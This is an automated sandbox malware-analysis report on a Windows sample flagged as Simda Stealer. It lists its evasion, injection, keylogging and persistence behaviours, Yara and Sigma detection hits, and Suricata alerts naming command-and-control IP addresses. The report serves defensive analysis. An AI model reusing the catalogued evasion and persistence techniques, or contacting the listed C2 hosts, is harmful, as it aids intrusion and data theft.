Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
1fWgBXPgiT.exe

Overview

General Information

Sample name:1fWgBXPgiT.exe
renamed because original name is a hash value
Original sample name:f18ae5b5acc32e1332e6d07c96b2f74debd92f14.exe
Analysis ID:1553850
MD5:6ec51ee749cdeaa3d4db28cdd17de9ce
SHA1:f18ae5b5acc32e1332e6d07c96b2f74debd92f14
SHA256:91393d3a2f122b0014e9209d07f662ab3bc1e0dc364e28a1d07236887ee6e369
Tags:exeuser-NDA0E
Infos:

Detection

Simda Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Detected unpacking (creates a PE file in dynamic memory)
Detected unpacking (overwrites its own PE header)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Simda Stealer
AI detected suspicious sample
Allocates memory in foreign processes
Checks if browser processes are running
Contains VNC / remote desktop functionality (version string found)
Contains functionality to behave differently if execute on a Russian/Kazak computer
Contains functionality to capture and log keystrokes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)
Contains functionality to infect the boot sector
Contains functionality to inject threads in other processes
Creates a thread in another existing process (thread injection)
Creates an undocumented autostart registry key
Drops PE files with benign system names
Drops executables to the windows directory (C:\Windows) and starts them
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain (may stop execution after checking volume information)
Found evasive API chain checking for user administrative privileges
Injects a PE file into a foreign processes
Machine Learning detection for sample
Monitors registry run keys for changes
Moves itself to temp directory
Queries Google from non browser process on port 80
Queries random domain names (often used to prevent blacklisting and sinkholes)
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: System File Execution Location Anomaly
Tries to resolve many domain names, but no domain seems valid
Uses known network protocols on non-standard ports
Writes to foreign memory regions
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to communicate with device drivers
Contains functionality to create system tasks
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to launch a process as a different user
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables security privileges
Executes massive DNS lookups (> 100)
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (might use process or thread times for sandbox detection)
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May initialize a security null descriptor
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Tries to disable installed Antivirus / HIPS / PFW
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • 1fWgBXPgiT.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\1fWgBXPgiT.exe" MD5: 6EC51EE749CDEAA3D4DB28CDD17DE9CE)
    • svchost.exe (PID: 7436 cmdline: "C:\Windows\apppatch\svchost.exe" MD5: D13C71C0C7B8647C7F86C6F353BEF9BE)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6644 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 916 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6644 -s 744 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6400 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 1236 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6400 -s 968 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 7160 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 8348 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 744 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 7104 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 8992 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7104 -s 832 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 7036 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6976 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6896 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6820 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6720 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6700 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6604 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6544 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6420 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 6268 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 4268 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe (PID: 7164 cmdline: "C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x49260:$a1: name=%s&port=%u
  • 0x489f8:$a2: data_inject
  • 0x48be4:$a3: keylog.txt
  • 0x4888d:$a4: User-agent: %s]]]
  • 0x493b4:$a5: %s\%02d.bmp
00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_SimdaStealerYara detected Simda StealerJoe Security
    00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x4fbd8:$a1: name=%s&port=%u
    • 0x4f370:$a2: data_inject
    • 0x4f55c:$a3: keylog.txt
    • 0x4f205:$a4: User-agent: %s]]]
    • 0x4fd2c:$a5: %s\%02d.bmp
    00000015.00000002.2114738599.0000000000DE0000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x4b260:$a1: name=%s&port=%u
    • 0x4a9f8:$a2: data_inject
    • 0x4abe4:$a3: keylog.txt
    • 0x4a88d:$a4: User-agent: %s]]]
    • 0x4b3b4:$a5: %s\%02d.bmp
    00000013.00000002.2105602842.00000000026D0000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x49e60:$a1: name=%s&port=%u
    • 0x495f8:$a2: data_inject
    • 0x497e4:$a3: keylog.txt
    • 0x4948d:$a4: User-agent: %s]]]
    • 0x49fb4:$a5: %s\%02d.bmp
    Click to see the 107 entries

    Unpacked PEs

    SourceRuleDescriptionAuthorStrings
    23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1200000.2.raw.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x49e60:$a1: name=%s&port=%u
    • 0x495f8:$a2: data_inject
    • 0x497e4:$a3: keylog.txt
    • 0x4948d:$a4: User-agent: %s]]]
    • 0x49fb4:$a5: %s\%02d.bmp
    1.3.svchost.exe.d200000.63.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x48660:$a1: name=%s&port=%u
    • 0x47df8:$a2: data_inject
    • 0x47fe4:$a3: keylog.txt
    • 0x47c8d:$a4: User-agent: %s]]]
    • 0x487b4:$a5: %s\%02d.bmp
    1.3.svchost.exe.d200000.77.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x48660:$a1: name=%s&port=%u
    • 0x47df8:$a2: data_inject
    • 0x47fe4:$a3: keylog.txt
    • 0x47c8d:$a4: User-agent: %s]]]
    • 0x487b4:$a5: %s\%02d.bmp
    1.3.svchost.exe.2700000.55.raw.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x49260:$a1: name=%s&port=%u
    • 0x489f8:$a2: data_inject
    • 0x48be4:$a3: keylog.txt
    • 0x4888d:$a4: User-agent: %s]]]
    • 0x493b4:$a5: %s\%02d.bmp
    1.3.svchost.exe.2700000.54.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
    • 0x48660:$a1: name=%s&port=%u
    • 0x47df8:$a2: data_inject
    • 0x47fe4:$a3: keylog.txt
    • 0x47c8d:$a4: User-agent: %s]]]
    • 0x487b4:$a5: %s\%02d.bmp
    Click to see the 190 entries

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: Files With System Process Name In Unsuspected Locations
    Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\1fWgBXPgiT.exe, ProcessId: 7416, TargetFilename: C:\Windows\apppatch\svchost.exe
    Sigma detected: System File Execution Location Anomaly
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\1fWgBXPgiT.exe", ParentImage: C:\Users\user\Desktop\1fWgBXPgiT.exe, ParentProcessId: 7416, ParentProcessName: 1fWgBXPgiT.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 7436, ProcessName: svchost.exe
    Sigma detected: CurrentVersion NT Autorun Keys Modification
    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\system32\userinit.exe,C:\Windows\apppatch\svchost.exe,, EventID: 13, EventType: SetValue, Image: C:\Windows\apppatch\svchost.exe, ProcessId: 7436, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
    Sigma detected: Uncommon Svchost Parent Process
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\1fWgBXPgiT.exe", ParentImage: C:\Users\user\Desktop\1fWgBXPgiT.exe, ParentProcessId: 7416, ParentProcessName: 1fWgBXPgiT.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 7436, ProcessName: svchost.exe
    Sigma detected: Windows Processes Suspicious Parent Directory
    Source: Process startedAuthor: vburov: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\1fWgBXPgiT.exe", ParentImage: C:\Users\user\Desktop\1fWgBXPgiT.exe, ParentProcessId: 7416, ParentProcessName: 1fWgBXPgiT.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 7436, ProcessName: svchost.exe

    Suricata Signatures

    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-11-11T18:48:35.810358+010020229301A Network Trojan was detected20.109.210.53443192.168.2.449757TCP
    2024-11-11T18:49:17.355787+010020229301A Network Trojan was detected20.109.210.53443192.168.2.460907TCP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-11-11T18:48:20.658250+010020181411A Network Trojan was detected44.221.84.10580192.168.2.449737TCP
    2024-11-11T18:48:20.671786+010020181411A Network Trojan was detected18.208.156.24880192.168.2.449738TCP
    2024-11-11T18:48:29.475414+010020181411A Network Trojan was detected3.94.10.3480192.168.2.449752TCP
    2024-11-11T18:48:43.218629+010020181411A Network Trojan was detected52.34.198.22980192.168.2.455675TCP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-11-11T18:48:20.658250+010020377711A Network Trojan was detected44.221.84.10580192.168.2.449737TCP
    2024-11-11T18:48:20.671786+010020377711A Network Trojan was detected18.208.156.24880192.168.2.449738TCP
    2024-11-11T18:48:29.475414+010020377711A Network Trojan was detected3.94.10.3480192.168.2.449752TCP
    2024-11-11T18:48:43.218629+010020377711A Network Trojan was detected52.34.198.22980192.168.2.455675TCP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-11-11T18:48:20.025376+010020210221A Network Trojan was detected1.1.1.153192.168.2.455905UDP
    2024-11-11T18:48:54.921504+010020210221A Network Trojan was detected1.1.1.153192.168.2.465289UDP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-11-11T18:48:20.283218+010028048521Malware Command and Control Activity Detected192.168.2.4497313.94.10.3480TCP
    2024-11-11T18:48:20.354131+010028048521Malware Command and Control Activity Detected192.168.2.44973375.2.71.19980TCP
    2024-11-11T18:48:20.487198+010028048521Malware Command and Control Activity Detected192.168.2.44973423.253.46.6480TCP
    2024-11-11T18:48:20.518966+010028048521Malware Command and Control Activity Detected192.168.2.449735178.162.203.22680TCP
    2024-11-11T18:48:20.577758+010028048521Malware Command and Control Activity Detected192.168.2.449736208.100.26.24580TCP
    2024-11-11T18:48:20.642439+010028048521Malware Command and Control Activity Detected192.168.2.449732188.114.96.380TCP
    2024-11-11T18:48:20.649859+010028048521Malware Command and Control Activity Detected192.168.2.44973744.221.84.10580TCP
    2024-11-11T18:48:20.664725+010028048521Malware Command and Control Activity Detected192.168.2.44973818.208.156.24880TCP
    2024-11-11T18:48:20.676278+010028048521Malware Command and Control Activity Detected192.168.2.44973944.221.84.10580TCP
    2024-11-11T18:48:20.685013+010028048521Malware Command and Control Activity Detected192.168.2.449736208.100.26.24580TCP
    2024-11-11T18:48:20.713543+010028048521Malware Command and Control Activity Detected192.168.2.449740199.59.243.22780TCP
    2024-11-11T18:48:20.939502+010028048521Malware Command and Control Activity Detected192.168.2.449743178.162.203.22680TCP
    2024-11-11T18:48:20.950751+010028048521Malware Command and Control Activity Detected192.168.2.44974223.253.46.6480TCP
    2024-11-11T18:48:21.101638+010028048521Malware Command and Control Activity Detected192.168.2.44974175.2.71.199443TCP
    2024-11-11T18:48:22.076103+010028048521Malware Command and Control Activity Detected192.168.2.449744188.114.96.3443TCP
    2024-11-11T18:48:22.328005+010028048521Malware Command and Control Activity Detected192.168.2.449745154.212.231.8280TCP
    2024-11-11T18:48:22.624086+010028048521Malware Command and Control Activity Detected192.168.2.449732188.114.96.380TCP
    2024-11-11T18:48:22.699857+010028048521Malware Command and Control Activity Detected192.168.2.449745154.212.231.8280TCP
    2024-11-11T18:48:23.909919+010028048521Malware Command and Control Activity Detected192.168.2.449746188.114.96.3443TCP
    2024-11-11T18:48:24.708961+010028048521Malware Command and Control Activity Detected192.168.2.449747199.191.50.8380TCP
    2024-11-11T18:48:29.183854+010028048521Malware Command and Control Activity Detected192.168.2.44974913.248.169.4880TCP
    2024-11-11T18:48:29.433108+010028048521Malware Command and Control Activity Detected192.168.2.44975118.208.156.24880TCP
    2024-11-11T18:48:29.468700+010028048521Malware Command and Control Activity Detected192.168.2.4497523.94.10.3480TCP
    2024-11-11T18:48:29.690187+010028048521Malware Command and Control Activity Detected192.168.2.449750188.114.97.380TCP
    2024-11-11T18:48:30.198947+010028048521Malware Command and Control Activity Detected192.168.2.449753103.150.10.4880TCP
    2024-11-11T18:48:31.293784+010028048521Malware Command and Control Activity Detected192.168.2.449753103.150.10.4880TCP
    2024-11-11T18:48:31.931827+010028048521Malware Command and Control Activity Detected192.168.2.449754188.114.97.3443TCP
    2024-11-11T18:48:32.323851+010028048521Malware Command and Control Activity Detected192.168.2.449750188.114.97.380TCP
    2024-11-11T18:48:34.148916+010028048521Malware Command and Control Activity Detected192.168.2.449756188.114.97.3443TCP
    2024-11-11T18:48:35.438653+010028048521Malware Command and Control Activity Detected192.168.2.44975876.223.67.18980TCP
    2024-11-11T18:48:35.632896+010028048521Malware Command and Control Activity Detected192.168.2.44976144.221.84.10580TCP
    2024-11-11T18:48:35.717041+010028048521Malware Command and Control Activity Detected192.168.2.449760103.224.182.25280TCP
    2024-11-11T18:48:35.862669+010028048521Malware Command and Control Activity Detected192.168.2.44976264.225.91.7380TCP
    2024-11-11T18:48:36.172600+010028048521Malware Command and Control Activity Detected192.168.2.449763154.85.183.5080TCP
    2024-11-11T18:48:36.301986+010028048521Malware Command and Control Activity Detected192.168.2.449765103.224.212.21080TCP
    2024-11-11T18:48:36.462288+010028048521Malware Command and Control Activity Detected192.168.2.449763154.85.183.5080TCP
    2024-11-11T18:48:39.104492+010028048521Malware Command and Control Activity Detected192.168.2.44977164.225.91.7380TCP
    2024-11-11T18:48:39.261484+010028048521Malware Command and Control Activity Detected192.168.2.46215972.52.179.17480TCP
    2024-11-11T18:48:39.815210+010028048521Malware Command and Control Activity Detected192.168.2.46216072.52.179.17480TCP
    2024-11-11T18:48:43.210674+010028048521Malware Command and Control Activity Detected192.168.2.45567552.34.198.22980TCP
    2024-11-11T18:48:47.377044+010028048521Malware Command and Control Activity Detected192.168.2.45570944.221.84.10580TCP
    2024-11-11T18:48:48.688358+010028048521Malware Command and Control Activity Detected192.168.2.449736208.100.26.24580TCP
    2024-11-11T18:48:48.930290+010028048521Malware Command and Control Activity Detected192.168.2.449745154.212.231.8280TCP
    2024-11-11T18:48:48.939793+010028048521Malware Command and Control Activity Detected192.168.2.449732188.114.96.380TCP
    2024-11-11T18:48:48.994448+010028048521Malware Command and Control Activity Detected192.168.2.455714178.162.203.22680TCP
    2024-11-11T18:48:49.000263+010028048521Malware Command and Control Activity Detected192.168.2.45571375.2.71.19980TCP
    2024-11-11T18:48:49.019309+010028048521Malware Command and Control Activity Detected192.168.2.455715199.59.243.22780TCP
    2024-11-11T18:48:49.028984+010028048521Malware Command and Control Activity Detected192.168.2.449736208.100.26.24580TCP
    2024-11-11T18:48:49.091988+010028048521Malware Command and Control Activity Detected192.168.2.45571623.253.46.6480TCP
    2024-11-11T18:48:49.308463+010028048521Malware Command and Control Activity Detected192.168.2.449745154.212.231.8280TCP
    2024-11-11T18:48:49.726308+010028048521Malware Command and Control Activity Detected192.168.2.455720178.162.203.22680TCP
    2024-11-11T18:48:49.769899+010028048521Malware Command and Control Activity Detected192.168.2.45571823.253.46.6480TCP
    2024-11-11T18:48:49.824012+010028048521Malware Command and Control Activity Detected192.168.2.449747199.191.50.8380TCP
    2024-11-11T18:48:49.936368+010028048521Malware Command and Control Activity Detected192.168.2.45571775.2.71.199443TCP
    2024-11-11T18:48:50.850031+010028048521Malware Command and Control Activity Detected192.168.2.455719188.114.96.3443TCP
    2024-11-11T18:48:51.253992+010028048521Malware Command and Control Activity Detected192.168.2.449732188.114.96.380TCP
    2024-11-11T18:48:52.500594+010028048521Malware Command and Control Activity Detected192.168.2.455721188.114.96.3443TCP
    2024-11-11T18:48:53.010207+010028048521Malware Command and Control Activity Detected192.168.2.449750188.114.97.380TCP
    2024-11-11T18:48:55.091213+010028048521Malware Command and Control Activity Detected192.168.2.455723188.114.97.3443TCP
    2024-11-11T18:48:56.238077+010028048521Malware Command and Control Activity Detected192.168.2.449750188.114.97.380TCP
    2024-11-11T18:48:56.498268+010028048521Malware Command and Control Activity Detected192.168.2.455722103.150.10.4880TCP
    2024-11-11T18:48:57.615196+010028048521Malware Command and Control Activity Detected192.168.2.455727103.150.10.4880TCP
    2024-11-11T18:48:57.795412+010028048521Malware Command and Control Activity Detected192.168.2.455730199.59.243.22780TCP
    2024-11-11T18:48:57.849679+010028048521Malware Command and Control Activity Detected192.168.2.455731208.100.26.24580TCP
    2024-11-11T18:48:57.859323+010028048521Malware Command and Control Activity Detected192.168.2.45573344.221.84.10580TCP
    2024-11-11T18:48:57.863270+010028048521Malware Command and Control Activity Detected192.168.2.45573544.221.84.10580TCP
    2024-11-11T18:48:57.952801+010028048521Malware Command and Control Activity Detected192.168.2.455732162.255.119.10280TCP
    2024-11-11T18:48:58.066517+010028048521Malware Command and Control Activity Detected192.168.2.45573618.208.156.24880TCP
    2024-11-11T18:48:58.109148+010028048521Malware Command and Control Activity Detected192.168.2.45573775.2.71.19980TCP
    2024-11-11T18:48:58.196742+010028048521Malware Command and Control Activity Detected192.168.2.455734188.114.96.380TCP
    2024-11-11T18:48:58.263710+010028048521Malware Command and Control Activity Detected192.168.2.455726188.114.97.3443TCP
    2024-11-11T18:48:58.287346+010028048521Malware Command and Control Activity Detected192.168.2.45573944.221.84.10580TCP
    2024-11-11T18:48:58.323367+010028048521Malware Command and Control Activity Detected192.168.2.45574075.2.71.19980TCP
    2024-11-11T18:48:58.792125+010028048521Malware Command and Control Activity Detected192.168.2.45574391.195.240.1980TCP
    2024-11-11T18:48:58.823773+010028048521Malware Command and Control Activity Detected192.168.2.455741154.212.231.8280TCP
    2024-11-11T18:48:58.823803+010028048521Malware Command and Control Activity Detected192.168.2.455742154.212.231.8280TCP
    2024-11-11T18:48:59.295804+010028048521Malware Command and Control Activity Detected192.168.2.45574475.2.71.199443TCP
    2024-11-11T18:48:59.412579+010028048521Malware Command and Control Activity Detected192.168.2.449763154.85.183.5080TCP
    2024-11-11T18:48:59.660311+010028048521Malware Command and Control Activity Detected192.168.2.455748103.224.182.25280TCP
    2024-11-11T18:48:59.890286+010028048521Malware Command and Control Activity Detected192.168.2.449763154.85.183.5080TCP
    2024-11-11T18:48:59.917776+010028048521Malware Command and Control Activity Detected192.168.2.455749103.224.212.21080TCP
    2024-11-11T18:49:00.919781+010028048521Malware Command and Control Activity Detected192.168.2.455746188.114.96.3443TCP
    2024-11-11T18:49:02.763550+010028048521Malware Command and Control Activity Detected192.168.2.45575372.52.179.17480TCP
    2024-11-11T18:49:04.244844+010028048521Malware Command and Control Activity Detected192.168.2.45575472.52.179.17480TCP
    2024-11-11T18:49:10.394199+010028048521Malware Command and Control Activity Detected192.168.2.460886208.100.26.24580TCP
    2024-11-11T18:49:10.394275+010028048521Malware Command and Control Activity Detected192.168.2.46088544.221.84.10580TCP
    2024-11-11T18:49:10.394376+010028048521Malware Command and Control Activity Detected192.168.2.460887178.162.203.20280TCP
    2024-11-11T18:49:10.394410+010028048521Malware Command and Control Activity Detected192.168.2.460888199.59.243.22780TCP
    2024-11-11T18:49:16.411780+010028048521Malware Command and Control Activity Detected192.168.2.460906199.191.50.8380TCP
    2024-11-11T18:49:19.043517+010028048521Malware Command and Control Activity Detected192.168.2.460917199.59.243.22780TCP
    2024-11-11T18:49:22.319863+010028048521Malware Command and Control Activity Detected192.168.2.4499153.94.10.3480TCP
    2024-11-11T18:49:22.322905+010028048521Malware Command and Control Activity Detected192.168.2.455734188.114.96.380TCP
    2024-11-11T18:49:24.397911+010028048521Malware Command and Control Activity Detected192.168.2.449914199.191.50.8380TCP
    2024-11-11T18:49:26.010387+010028048521Malware Command and Control Activity Detected192.168.2.455729178.162.203.20280TCP
    2024-11-11T18:50:07.118859+010028048521Malware Command and Control Activity Detected192.168.2.450156199.59.243.22780TCP
    2024-11-11T18:50:07.118921+010028048521Malware Command and Control Activity Detected192.168.2.450157178.162.203.22680TCP
